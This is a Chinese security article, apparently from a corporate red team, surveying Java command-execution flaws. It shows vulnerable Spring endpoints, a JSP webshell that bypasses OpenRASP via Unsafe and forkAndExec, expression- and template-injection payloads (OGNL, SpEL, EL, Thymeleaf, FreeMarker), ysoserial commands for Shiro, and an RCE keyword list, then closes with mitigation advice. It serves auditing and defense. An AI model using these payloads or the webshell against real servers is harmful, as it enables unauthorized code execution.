深信服西部天威战队:JAVA命令执行总结
字数 1373 2025-08-12 11:33:47

Java命令执行漏洞全面分析与防护指南

0x00 RCE漏洞概述

远程命令执行(RCE)漏洞是指攻击者通过Web端或客户端提交恶意构造的命令,由于服务器端未对执行函数做过滤或存在逻辑漏洞,导致能够在服务器上执行任意系统命令。Java应用中RCE漏洞的核心原理是开发人员未对代码中可执行的特殊函数或自定义方法入口做过滤。

0x01 Java应用中常见的命令执行点

1. Runtime.getRuntime().exec()

@RestController
@RequestMapping("/rce1")
public class Exec {
    @RequestMapping("/test1")
    public String test(String cmd) throws IOException {
        StringBuilder stringBuilder = new StringBuilder();
        String tmpStr;
        Process process = Runtime.getRuntime().exec(cmd);
        BufferedReader bufferedReader = new BufferedReader(
            new InputStreamReader(new BufferedInputStream(process.getInputStream())));
        while ((tmpStr = bufferedReader.readLine()) != null) {
            stringBuilder.append(tmpStr).append("</br>");
        }
        bufferedReader.close();
        return stringBuilder.toString();
    }
}

2. ProcessBuilder方式

@GetMapping("/test2")
public String processBuilder(String cmd) throws IOException {
    StringBuilder stringBuilder = new StringBuilder();
    String tmpStr;
    String[] arrCmd = {"/bin/sh", "-c", cmd};
    ProcessBuilder processBuilder = new ProcessBuilder(arrCmd);
    Process process = processBuilder.start();
    BufferedReader bufferedReader = new BufferedReader(
        new InputStreamReader(new BufferedInputStream(process.getInputStream())));
    while ((tmpStr = bufferedReader.readLine()) != null) {
        stringBuilder.append(tmpStr).append("</br>");
    }
    return stringBuilder.toString();
}

3. 底层调用分析

  • Runtime.getRuntime().exec()底层调用ProcessBuilder
  • ProcessBuilder底层使用ProcessImpl.start
  • ProcessImplUNIXProcess是最终调用native执行系统命令的类,提供forkAndExec方法

4. OpenRASP绕过技术

OpenRASP只拦截到java.lang.UNIXProcess层,可通过以下方式绕过:

  1. 使用sun.misc.Unsafe.allocateInstance创建UNIXProcess/ProcessImpl对象
  2. 反射forkAndExec方法
  3. 构造参数并调用
  4. 反射initStreams方法初始化流
  5. 反射getInputStream获取执行结果
<%@ page import="sun.misc.Unsafe" %>
<%@ page import="java.lang.reflect.*" %>
<%! 
    byte[] toCString(String s) {
        if (s == null) return null;
        byte[] bytes = s.getBytes();
        byte[] result = new byte[bytes.length + 1];
        System.arraycopy(bytes, 0, result, 0, bytes.length);
        result[result.length - 1] = (byte) 0;
        return result;
    }
%>
<%
    String[] strs = request.getParameterValues("cmd");
    if (strs != null) {
        Field theUnsafeField = Unsafe.class.getDeclaredField("theUnsafe");
        theUnsafeField.setAccessible(true);
        Unsafe unsafe = (Unsafe) theUnsafeField.get(null);
        
        Class processClass = Class.forName("java.lang.UNIXProcess");
        Object processObject = unsafe.allocateInstance(processClass);
        
        // 构造参数并调用forkAndExec
        Method forkMethod = processClass.getDeclaredMethod("forkAndExec", 
            int.class, byte[].class, byte[].class, byte[].class, int.class, 
            byte[].class, int.class, byte[].class, int[].class, boolean.class);
        forkMethod.setAccessible(true);
        int pid = (int) forkMethod.invoke(processObject, ...);
        
        // 获取执行结果
        Method getInputStreamMethod = processClass.getMethod("getInputStream");
        InputStream in = (InputStream) getInputStreamMethod.invoke(processObject);
        // 读取并输出结果...
    }
%>

5. 常见RCE关键字

System|exec|passthru|popen|shell_exec|eval|preg_replace|str_replace|
call_user_func|getRuntime().exec|system|execlp|execvp|ShellExecute|
wsystem|popen(|getRuntime|ProcessBuilder|execfile|input|Shell|
ShellExecuteForExplore(|ShellExecute|execute|.exec|/bin/sh、/bin/bash|
cmd|UNIXProcess|groovy.util.Eval.megroovy.lang.GroovyShell.parse|
evaluategroovy.lang.Script.rungroovy.lang.GroovyClassLoader.parseClass
org.codehaus.groovy.runtime.InvokerHelper.newScript|createScript|runScript
org.codehaus.groovy.runtime.MethodClosure.MethodClosure

0x02 Java表达式中的命令执行

1. OGNL表达式注入

OGNL三要素

  • 表达式(expression):核心操作指令
  • 根对象(root):操作的目标对象
  • 上下文对象(context):运行环境,Map结构

命令执行示例

Ognl.getValue("@java.lang.Runtime@getRuntime().exec(\"calc\")", 
    (new java.lang.ProcessBuilder(new java.lang.String[]{"calc"})).start());

白盒测试关注点

  • import ognl.*
  • OGNL.getVaule()

2. SpEL表达式注入

基础用法

ExpressionParser parser = new SpelExpressionParser();
Expression exp = parser.parseExpression("'Hello World'.concat('!')");
System.out.println(exp.getValue()); // 输出: Hello World!

命令执行PoC

String cmdStr = "new java.lang.ProcessBuilder(new String[]{\"open\",\"/System/Applications/Calculator.app\"}).start()";
ExpressionParser parser = new SpelExpressionParser();
Expression exp = parser.parseExpression(cmdStr);
exp.getValue(); // 执行命令

SpringBoot SpEL注入漏洞

  • 影响版本:1.3.0等旧版本
  • 利用方式:通过错误消息注入SpEL表达式

3. EL表达式注入

基本语法${expression}

命令执行PoC

<%@ taglib uri="http://www.springframework.org/tags" prefix="spring"%>
<spring:message text="${param.a}"></spring:message>

访问URL:

http://localhost/XXX.jsp?a=${pageContext.request.getSession().setAttribute("a",pageContext.request.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("calc").getInputStream())}

0x03 Java模板中的命令执行

1. Thymeleaf模板注入

漏洞代码

@GetMapping("/path")
public String path(@RequestParam String lang) {
    return "user/" + lang + "/welcome"; // 模板路径可控
}

利用方式

http://localhost:8090/path?lang=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22calc%22).getInputStream()).next()%7d__::.x

2. FreeMarker模板注入

三种利用方式

  1. 使用Execute类:
<#assign value="freemarker.template.utility.Execute"?new()>${value("calc.exe")}
  1. 使用ObjectConstructor类:
<#assign value="freemarker.template.utility.ObjectConstructor"?new()>
${value("java.lang.ProcessBuilder","calc.exe").start()}
  1. 使用JythonRuntime:
<#assign value="freemarker.template.utility.JythonRuntime"?new()>
<@value>import os;os.system("calc.exe")</@value>

3. Velocity模板注入

漏洞代码

VelocityEngine velocityEngine = new VelocityEngine();
velocityEngine.evaluate(...); // 参数可控

0x04 Shiro命令执行绕过

1. 加密模式变更

  • Shiro 1.4.2后从AES-CBC改为AES-GCM

2. Base64编码混淆

  • 利用.%等符号混淆Base64解码

3. RememberMe长度限制绕过

  1. 生成较短payload修改max header:
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsBeanutils1TomcatHeader yourSize
  1. 生成回显payload多线程发送:
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsBeanutils1TomcatEcho2 yourCommand

防护建议

  1. 输入验证与过滤

    • 对所有用户输入进行严格验证
    • 使用白名单机制限制允许的字符和格式
  2. 安全编码实践

    • 避免直接使用用户输入构造命令
    • 使用安全的API替代危险函数
  3. 框架安全配置

    • 及时更新框架版本
    • 禁用危险的表达式功能
  4. 运行时防护

    • 部署RASP解决方案
    • 监控异常命令执行行为
  5. 安全测试

    • 定期进行代码审计
    • 实施渗透测试验证防护效果
Java命令执行漏洞全面分析与防护指南 0x00 RCE漏洞概述 远程命令执行(RCE)漏洞是指攻击者通过Web端或客户端提交恶意构造的命令,由于服务器端未对执行函数做过滤或存在逻辑漏洞,导致能够在服务器上执行任意系统命令。Java应用中RCE漏洞的核心原理是开发人员未对代码中可执行的特殊函数或自定义方法入口做过滤。 0x01 Java应用中常见的命令执行点 1. Runtime.getRuntime().exec() 2. ProcessBuilder方式 3. 底层调用分析 Runtime.getRuntime().exec() 底层调用 ProcessBuilder ProcessBuilder 底层使用 ProcessImpl.start ProcessImpl 和 UNIXProcess 是最终调用native执行系统命令的类,提供 forkAndExec 方法 4. OpenRASP绕过技术 OpenRASP只拦截到 java.lang.UNIXProcess 层,可通过以下方式绕过: 使用 sun.misc.Unsafe.allocateInstance 创建 UNIXProcess/ProcessImpl 对象 反射 forkAndExec 方法 构造参数并调用 反射 initStreams 方法初始化流 反射 getInputStream 获取执行结果 5. 常见RCE关键字 0x02 Java表达式中的命令执行 1. OGNL表达式注入 OGNL三要素 : 表达式(expression):核心操作指令 根对象(root):操作的目标对象 上下文对象(context):运行环境,Map结构 命令执行示例 : 白盒测试关注点 : import ognl.* OGNL.getVaule() 2. SpEL表达式注入 基础用法 : 命令执行PoC : SpringBoot SpEL注入漏洞 : 影响版本:1.3.0等旧版本 利用方式:通过错误消息注入SpEL表达式 3. EL表达式注入 基本语法 : ${expression} 命令执行PoC : 访问URL: 0x03 Java模板中的命令执行 1. Thymeleaf模板注入 漏洞代码 : 利用方式 : 2. FreeMarker模板注入 三种利用方式 : 使用Execute类: 使用ObjectConstructor类: 使用JythonRuntime: 3. Velocity模板注入 漏洞代码 : 0x04 Shiro命令执行绕过 1. 加密模式变更 Shiro 1.4.2后从AES-CBC改为AES-GCM 2. Base64编码混淆 利用 . 、 % 等符号混淆Base64解码 3. RememberMe长度限制绕过 生成较短payload修改max header: 生成回显payload多线程发送: 防护建议 输入验证与过滤 对所有用户输入进行严格验证 使用白名单机制限制允许的字符和格式 安全编码实践 避免直接使用用户输入构造命令 使用安全的API替代危险函数 框架安全配置 及时更新框架版本 禁用危险的表达式功能 运行时防护 部署RASP解决方案 监控异常命令执行行为 安全测试 定期进行代码审计 实施渗透测试验证防护效果